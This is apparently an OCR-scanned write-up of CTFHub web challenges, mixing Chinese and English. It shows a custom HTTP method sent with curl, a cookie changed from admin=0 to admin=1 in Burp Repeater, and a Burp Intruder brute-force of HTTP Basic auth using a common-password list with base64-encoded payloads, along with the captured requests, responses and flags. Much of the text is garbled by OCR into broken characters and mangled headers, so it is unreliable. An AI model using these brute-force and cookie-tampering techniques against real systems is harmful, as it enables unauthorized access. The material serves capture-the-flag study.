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HTTP Method is GET

Use CTF**B Method, | will give you flag.

Hint: If you got [HTTP Method Not Allowed | Error, you should request index.php.

windowsF] Fremd#i A\ : curl -v -X CTFHUB http://challenge-d2ecdef791f4e8ee.sandbox.ctfhub.com:10080/index.phpit 7] L1582
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http://challenge-98ed4fhde8818c48 sandbox ctthub.com: 10080

© & challenge-98ed4fbde8818c48.sandbox.ctthub.com:10080/indeschtml B e O
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Give me Flag

BETE R T Glve me flagE E 144 7 index.php
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7¢(] Request Response
Pretty IBETE \n  Actions Vv [JZw'l Raw Render \n Actions Vv
1 GET /index.php HTTP/L.l 1 HTTP/1.1 302 Moved Temporarily
~; 2 Host: challenge-98ed4fbdeB818c48.sandbox.ctfhub.com: 100BD 2 Server: openresty/l1.15.8.2
3l 3 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win&4; x€4; rv:86.0) 3 Date: Thu, L1l Mar 2021 11:40:56 GMT
7, Gecko/20100101 Firefox/8€.0 4 Content-Type: text/html; charset=UTF-8
4 |Accept: 5 Connection: close
text/html, application/xhtml+xml, application/xml;q=0.9, image/webp f X-Powered-By: PHP/5.6.40
/i qE0.8 7 Location: /index.html
5 Accept-Language: 8 Access-Control-Allow-Origin: *
zh-CN, zh; ¢=0.8, 2h-TW; ¢=0.7, zh-HK; g=0.5,en-US; =0.3,en; g=0.2 9 Access-Control-Allow-Headers: X-Recuested-With
6 Accept-Encoding: gzip, deflate 10 Access-Control-Allow-Methods: *
7 Connection: close 11 Content-Length: 33
3 Referer: 12
http://challenge-98ed4fbde88 18c48.sandbox. ctfhub.com: 10080/ 12 ectfhub {9a0d9824bb4235eefecdlcB9)
E 9 Cookie: UM distinctid= 14
17820£f0fdeZ6£-08 14878 £42098-4c3£227c-144000-17820£0£fd=424d
10 Upgrade-Insecure-Requests: 1 m

CTFHUB-Cookie



Cookie, AR thHEEHI A Cookies, HKEIHYNERISCASM", RIELMEEN T PRI &4, 4T SessioniR &1 i 7 7E F
PR %y EREEE CBESEmE) , HAPEPmIFEILENBUKARERE R
Hburpsuite 3 & £repeater, FEadmin=0&fadmin=1

m Cancel v v Target: hit
) a
Regquest Response
Yoeer, B w Actions v Raw Render \n Actions v
4 1 GET / HTTER/L.1 1 HTTP/l.1 200 OK
i1 2 Host: challenge-dbh3987075la5e2be.sandbox.ctfhub.com: LODEO 2 Server: openresty/l.15.8.2
‘| 3 User-Agent: Mozilla/5.0 (Windows NT 10.0; WinEd; x£4; rv:86.0) 3 Date: Thu, 11 Mar 2021 11:51:12 GMT
! Gecko/20100101 Firefox/8€.0 4 Content-Type: text/html; charset=UTF-8
4 Accept: 5 Connection: close
text/html, application/xhtml+xml, application/xml;=0.9, image/wehp & X-Powesred-By: PHP/5.6.40
/00,8 7 Access-Control-Allow-Origin: *
5 Accept-Language: 3 Access—Control-Allow-Headers: X-Requested-With
zh-CN, zh; ¢q=0.8, 2h-TW; ¢=0.7, zh-HK; ¢=0. 5, en-US; q=0.3,en; q=0.2 9 Access—-Control-Allow-Methods: *

6 Accept-Encoding: gzip, deflate 10 Content-Length: 32
7 Connection: close 11
3 Cookie: Uynctld: 12 etfhub{15757c£a=094232c5c8bd77E)
P 17820£0£4, f-08148d78£42098-4c3£227c-144000-17820£0£ded2d;
X admin=1
9 Upgrade-Insecure-Requests: 1
10
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httpffchallenge-98ddc088b2d 18561 sandbox.ctfhub.com: 10080
[EfOERAERAPEFIEE, 2REFR: "Do u know admin 27

APE: |

SEBEERE — A, K HFHburpsuitiiE 2 J5 K Aintruder/B i . EEBHNFS

Attack type: | Sniper

GET /flag.html HTTE/L.1

Host: challeng=-98ddc088b2dl8561.sandbox.ctfhub.com: 10080

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win&4; x€4; rv:8£.0) Gecko/20100101 Firefox/86.0
Accept: text/html, application/xhtml+xml, application/xml;q=0.9, image/webp,*/*;=0.8
Accept-Language: zh-CN, zh;q=0.8, zh-TW; ¢=0.7, zh-HK; q=0.5,en-US;c=0.3,en; q=0.2
Accept-Encoding: gzip, deflate

Connection: close

Referer: http://challenge-98ddc088h2dl85€1.sandbox.ctfhub.com: 10080/

Cookie: UM distinctid=§17820f0fde26f-08148d78£42098-4c3£227c-144000-17820£f0£fd=42d§
Upgrade-Insecure-Requests: |

Authorization: Basic OjEyMzQlNg==
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Configure the positions where payloads will be inserted into the base request. The attack type determines the way in which payloads are assigned to payload positions - see help for full details.

Attack type: | Sniper

-

GET /flag.html HTTP/1.1

Host: challenge-98ddc088b2dlB85€l.sandbox.ctfhub.com: I00E0

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win&4; x€4; rv:86.0) Gecko/20100101 Firefox/B&.0
Accept: text/html, application/xhtml+xml, application/xml;q=0.9, image/webp,*/*;q=0.8
Accept-Language: zh-CN, zh;q=0.8, zh-TW;q=0.7, zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate

Connection: close

Referer: http://challenge-98ddc088b2d185£€1.sandbox.ctfhub.com: 10080/

Cookie: UM _distinctid=17820f0fde2£f-08148d78£42098-4c3£227c~144000-17820£0£fde42d
Upgrade-Insecure—Requests: 1

Authorization: Basic SOjEyMzQlNg==%
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1E Payloadsi& Wi £ F, % Payload Type ASimpleList, 2R 5 #E Payload Options 5 s il load #5355 5 st

@ Payload Options [Simple list]

This payload type lets you configure a simple list of strings that are used as pavloads.

Paste 123456 i
password
Lead ... line
12345678
Remove qwerty »>
123456789
Clear 12345
1234
111111 ¥
Add Enter a new item
Add from list ... [Pro version only] A

@ Payload Encoding

This setting can be used to URL-encode selected characters within the final payload, for safe transmission within HTTP requests.

[J URL-encode these characters: V=P A

U /A 1% 1 URL-encode, ARIREE Bllbaseb4 2 JE =24 ik %3d , BB Hk.

Payload Encode

Request Payload Status Error Timeout Length Cornment
g.cy? YWRtaW4EM TIzND U= 401 404
8 YWRtaW4EM TizMNA== 401 404
9€ |g YWRESWAEM TEXMTEX 401 404
7ad| 10 YWREAWAEM TIZND U2 Nw== 401 404
1" YWRtaW46ZHIhZ29u 401 404
OM| 12 VWRESWAEM TIZM Tiz 401 404
13 YWRtaW4eY mFzZZwlhb Gw= 401 404
14 YWREWAEYWI M TIZ 401 404
15 YWRESWAEZm Qvd Glhb Gw= 200 378
16 YWRtaVW4eb\Woua2vs 401 404
17 YWRtaW4eh GWObWvpbg== 401 404
16 YWRtaW4EMN k2O TYS 401 404
toad] 19 YWRtaWw4eczhhZG93 401 404
sl AL AL A S I AALT el AN ANA
Request Response
Raw Render ‘\n  Actions v
9.c 4 Content-Type: text/html; charset=utf-8
5 Connection: close
& Last-Modified: Thu, 1l Mar 2021 11:53:22 GMT
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Access-Control-Allow-Origin: *
Access-Control-Allow-Headers: X-Requested-With
10 Access-Control-Allow-Methods: *

11 Content-Length: 33
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canvas 1d= canvas Wldth= LUUU helght= (UU ,</canvas.
{div>
{input id="sgwitch” type="button” wvalue="#4" onclick="clickSwitch()”>{/input><br/>
{input id="content” type="text” value="0"><{/input>
</div>
{/body>
(== ctfhub {5e83369F0fcOnfBe36402904} —>
{script type="text/javascript”>
const WIDTH = 1000;
const HEIGHT = 700;
const SNACK WIDTH = 20;
const SNACK HEIGHT = 20;
/ /% BT ] A B
const TIME MOVE = 300;
<l R

const TIME FOOD = 5000;
[ENEE
const TOTAL FOOD = 200;

/78 SR B 1]
const TIME STONE = 8000;
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